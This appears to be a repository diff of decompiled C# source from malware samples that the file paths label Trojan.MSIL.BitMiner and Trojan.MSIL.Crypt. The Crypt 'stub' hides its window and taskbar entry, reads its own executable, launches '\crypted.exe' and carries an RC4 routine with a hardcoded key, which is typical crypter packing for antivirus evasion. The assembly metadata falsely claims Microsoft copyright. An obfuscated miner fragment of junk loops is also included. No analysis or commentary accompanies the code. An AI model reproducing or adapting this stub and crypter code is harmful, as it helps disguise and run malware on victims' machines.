Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{899451FB-87DA-456E-851E-7F7893A944FF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{899451FB-87DA-456E-851E-7F7893A944FF}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{899451FB-87DA-456E-851E-7F7893A944FF}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{899451FB-87DA-456E-851E-7F7893A944FF}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
BIN
Binary file not shown.
+74
@@ -0,0 +1,74 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Infinity.o254g0boZm785JO6czc7u44n4n02
|
||||
// Assembly: Infinity, Version=8.5.5.4, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: AC3C4CF9-EFEE-4BAC-9551-610766AD93B5
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
|
||||
namespace Infinity
|
||||
{
|
||||
internal class o254g0boZm785JO6czc7u44n4n02
|
||||
{
|
||||
public object JjbDjmF()
|
||||
{
|
||||
try
|
||||
{
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
double num = 364.0;
|
||||
num = 298165.0;
|
||||
while (true)
|
||||
;
|
||||
}
|
||||
|
||||
public object m9d1614OWek1v28TA8()
|
||||
{
|
||||
double num1 = 10.0;
|
||||
int num2 = 6091624;
|
||||
Decimal num3 = 39029145M;
|
||||
int num4 = 364995;
|
||||
bool flag = false;
|
||||
num2 = 1563022;
|
||||
num3 = 40184206M;
|
||||
num2 = 5;
|
||||
flag = false;
|
||||
num3 = 4922M;
|
||||
num4 = 20763;
|
||||
num1 = 1.0;
|
||||
num3 = 1M;
|
||||
label_1:
|
||||
int num5 = 3;
|
||||
do
|
||||
{
|
||||
try
|
||||
{
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
try
|
||||
{
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
num1 = 32.0;
|
||||
int num6 = (int) Interaction.MsgBox((object) "Kz7:Px\u008D?\u007F 84_");
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
checked { ++num5; }
|
||||
}
|
||||
while (num5 <= 89896560);
|
||||
goto label_1;
|
||||
}
|
||||
}
|
||||
}
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[assembly: AssemblyCopyright("Copyright © Microsoft 2011")]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: AssemblyProduct("WindowsApplication1")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyCompany("Microsoft")]
|
||||
[assembly: AssemblyTitle("WindowsApplication1")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: Guid("6eb09611-6d78-4a59-8043-85fc3842967c")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
+141
@@ -0,0 +1,141 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: WindowsApplication1.Form1
|
||||
// Assembly: stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E0421F62-5803-4AAF-A314-3F2E7ED45014
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace WindowsApplication1
|
||||
{
|
||||
[DesignerGenerated]
|
||||
public class Form1 : Form
|
||||
{
|
||||
private IContainer components;
|
||||
[AccessedThroughProperty("TextBox1")]
|
||||
private TextBox _TextBox1;
|
||||
private string mwilson;
|
||||
private string[] canyonc;
|
||||
private string canyonDC;
|
||||
private const string cjay = "casd3sadasdk";
|
||||
private string textbox2;
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
public Form1()
|
||||
{
|
||||
this.Load += new EventHandler(this.Form1_Load);
|
||||
this.InitializeComponent();
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!disposing || this.components == null)
|
||||
return;
|
||||
this.components.Dispose();
|
||||
}
|
||||
finally
|
||||
{
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.TextBox1 = new TextBox();
|
||||
this.SuspendLayout();
|
||||
this.TextBox1.Location = new Point(89, 121);
|
||||
this.TextBox1.Name = "TextBox1";
|
||||
TextBox textBox1 = this.TextBox1;
|
||||
Size size1 = new Size(156, 20);
|
||||
Size size2 = size1;
|
||||
textBox1.Size = size2;
|
||||
this.TextBox1.TabIndex = 0;
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
size1 = new Size(284, 262);
|
||||
this.ClientSize = size1;
|
||||
this.Controls.Add((Control) this.TextBox1);
|
||||
this.Name = nameof (Form1);
|
||||
this.Text = nameof (Form1);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
|
||||
internal virtual TextBox TextBox1
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._TextBox1;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value;
|
||||
}
|
||||
|
||||
private void Form1_Load(object sender, EventArgs e)
|
||||
{
|
||||
this.Visible = false;
|
||||
this.textbox2 = "asdasd";
|
||||
this.ShowInTaskbar = false;
|
||||
this.TextBox1.Text = "\\crypted.exe";
|
||||
FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read);
|
||||
this.mwilson = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
||||
FileSystem.FileGet(1, ref this.mwilson);
|
||||
FileSystem.FileClose(1);
|
||||
Process.Start(Application.StartupPath + this.TextBox1.Text);
|
||||
}
|
||||
|
||||
public string rc4(string message, string password)
|
||||
{
|
||||
int index1 = 0;
|
||||
int index2 = 0;
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
string empty = string.Empty;
|
||||
int[] numArray1 = new int[257];
|
||||
int[] numArray2 = new int[257];
|
||||
int length = password.Length;
|
||||
int location1 = 0;
|
||||
while (location1 <= (int) byte.MaxValue)
|
||||
{
|
||||
char String = password.Substring(location1 % length, 1).ToCharArray()[0];
|
||||
numArray2[location1] = Strings.Asc(String);
|
||||
numArray1[location1] = location1;
|
||||
Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1));
|
||||
}
|
||||
int index3 = 0;
|
||||
int location2 = 0;
|
||||
while (location2 <= (int) byte.MaxValue)
|
||||
{
|
||||
index3 = checked (index3 + numArray1[location2] + numArray2[location2]) % 256;
|
||||
int num = numArray1[location2];
|
||||
numArray1[location2] = numArray1[index3];
|
||||
numArray1[index3] = num;
|
||||
Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1));
|
||||
}
|
||||
location1 = 1;
|
||||
while (location1 <= message.Length)
|
||||
{
|
||||
index1 = checked (index1 + 1) % 256;
|
||||
index2 = checked (index2 + numArray1[index1]) % 256;
|
||||
int num1 = numArray1[index1];
|
||||
numArray1[index1] = numArray1[index2];
|
||||
numArray1[index2] = num1;
|
||||
int num2 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256];
|
||||
int CharCode = Strings.Asc(message.Substring(checked (location1 - 1), 1).ToCharArray()[0]) ^ num2;
|
||||
stringBuilder.Append(Strings.Chr(CharCode));
|
||||
Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1));
|
||||
}
|
||||
string str = stringBuilder.ToString();
|
||||
stringBuilder.Length = 0;
|
||||
return str;
|
||||
}
|
||||
}
|
||||
}
|
||||
+120
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
+48
@@ -0,0 +1,48 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: WindowsApplication1.My.MyApplication
|
||||
// Assembly: stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E0421F62-5803-4AAF-A314-3F2E7ED45014
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace WindowsApplication1.My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal class MyApplication : WindowsFormsApplicationBase
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[DebuggerHidden]
|
||||
[STAThread]
|
||||
internal static void Main(string[] Args)
|
||||
{
|
||||
try
|
||||
{
|
||||
Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
|
||||
}
|
||||
finally
|
||||
{
|
||||
}
|
||||
MyProject.Application.Run(Args);
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
public MyApplication()
|
||||
: base(AuthenticationMode.Windows)
|
||||
{
|
||||
this.IsSingleInstance = false;
|
||||
this.EnableVisualStyles = true;
|
||||
this.SaveMySettingsOnExit = true;
|
||||
this.ShutdownStyle = ShutdownMode.AfterMainFormCloses;
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1;
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: WindowsApplication1.My.MyComputer
|
||||
// Assembly: stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E0421F62-5803-4AAF-A314-3F2E7ED45014
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace WindowsApplication1.My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal class MyComputer : Computer
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyComputer()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+212
@@ -0,0 +1,212 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: WindowsApplication1.My.MyProject
|
||||
// Assembly: stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E0421F62-5803-4AAF-A314-3F2E7ED45014
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections;
|
||||
using System.ComponentModel;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace WindowsApplication1.My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[HideModuleName]
|
||||
[StandardModule]
|
||||
internal sealed class MyProject
|
||||
{
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
|
||||
private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
static MyProject()
|
||||
{
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Computer")]
|
||||
internal static MyComputer Computer
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Application")]
|
||||
internal static MyApplication Application
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.User")]
|
||||
internal static User User
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Forms")]
|
||||
internal static MyProject.MyForms Forms
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.WebServices")]
|
||||
internal static MyProject.MyWebServices WebServices
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class MyForms
|
||||
{
|
||||
public Form1 m_Form1;
|
||||
[ThreadStatic]
|
||||
private static Hashtable m_FormBeingCreated;
|
||||
|
||||
public Form1 Form1
|
||||
{
|
||||
[DebuggerNonUserCode] get
|
||||
{
|
||||
this.m_Form1 = MyProject.MyForms.Create__Instance__<Form1>(this.m_Form1);
|
||||
return this.m_Form1;
|
||||
}
|
||||
[DebuggerNonUserCode] set
|
||||
{
|
||||
if (value == this.m_Form1)
|
||||
return;
|
||||
if (value != null)
|
||||
throw new ArgumentException("Property can only be set to Nothing");
|
||||
this.Dispose__Instance__<Form1>(ref this.m_Form1);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T Instance) where T : Form, new()
|
||||
{
|
||||
if ((object) Instance != null && !Instance.IsDisposed)
|
||||
return Instance;
|
||||
if (MyProject.MyForms.m_FormBeingCreated != null)
|
||||
{
|
||||
if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
|
||||
throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
|
||||
}
|
||||
else
|
||||
MyProject.MyForms.m_FormBeingCreated = new Hashtable();
|
||||
MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
|
||||
try
|
||||
{
|
||||
return new T();
|
||||
}
|
||||
catch (TargetInvocationException ex) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
ProjectData.SetProjectError((Exception) ex);
|
||||
if (ex.InnerException != null)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
|
||||
}
|
||||
finally
|
||||
{
|
||||
MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) where T : Form
|
||||
{
|
||||
instance.Dispose();
|
||||
instance = default (T);
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyForms()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal new System.Type GetType() => typeof (MyProject.MyForms);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override string ToString() => base.ToString();
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
|
||||
internal sealed class MyWebServices
|
||||
{
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
internal new System.Type GetType() => typeof (MyProject.MyWebServices);
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override string ToString() => base.ToString();
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyWebServices()
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[ComVisible(false)]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class ThreadSafeObjectProvider<T> where T : new()
|
||||
{
|
||||
internal T GetInstance
|
||||
{
|
||||
[DebuggerHidden] get
|
||||
{
|
||||
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
|
||||
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
|
||||
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public ThreadSafeObjectProvider()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+73
@@ -0,0 +1,73 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: WindowsApplication1.My.MySettings
|
||||
// Assembly: stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E0421F62-5803-4AAF-A314-3F2E7ED45014
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Configuration;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Threading;
|
||||
|
||||
namespace WindowsApplication1.My
|
||||
{
|
||||
[CompilerGenerated]
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
|
||||
internal sealed class MySettings : ApplicationSettingsBase
|
||||
{
|
||||
private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
|
||||
private static bool addedHandler;
|
||||
private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object());
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
public MySettings()
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
private static void AutoSaveSettings(object sender, EventArgs e)
|
||||
{
|
||||
if (!MyProject.Application.SaveMySettingsOnExit)
|
||||
return;
|
||||
MySettingsProperty.Settings.Save();
|
||||
}
|
||||
|
||||
public static MySettings Default
|
||||
{
|
||||
get
|
||||
{
|
||||
if (!MySettings.addedHandler)
|
||||
{
|
||||
object handlerLockObject = MySettings.addedHandlerLockObject;
|
||||
ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject);
|
||||
Monitor.Enter(handlerLockObject);
|
||||
try
|
||||
{
|
||||
if (!MySettings.addedHandler)
|
||||
{
|
||||
MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) =>
|
||||
{
|
||||
if (!MyProject.Application.SaveMySettingsOnExit)
|
||||
return;
|
||||
MySettingsProperty.Settings.Save();
|
||||
});
|
||||
MySettings.addedHandler = true;
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
Monitor.Exit(handlerLockObject);
|
||||
}
|
||||
}
|
||||
return MySettings.defaultInstance;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: WindowsApplication1.My.MySettingsProperty
|
||||
// Assembly: stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E0421F62-5803-4AAF-A314-3F2E7ED45014
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace WindowsApplication1.My
|
||||
{
|
||||
[StandardModule]
|
||||
[DebuggerNonUserCode]
|
||||
[HideModuleName]
|
||||
[CompilerGenerated]
|
||||
internal sealed class MySettingsProperty
|
||||
{
|
||||
[HelpKeyword("My.Settings")]
|
||||
internal static MySettings Settings => MySettings.Default;
|
||||
}
|
||||
}
|
||||
+46
@@ -0,0 +1,46 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: WindowsApplication1.My.Resources.Resources
|
||||
// Assembly: stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E0421F62-5803-4AAF-A314-3F2E7ED45014
|
||||
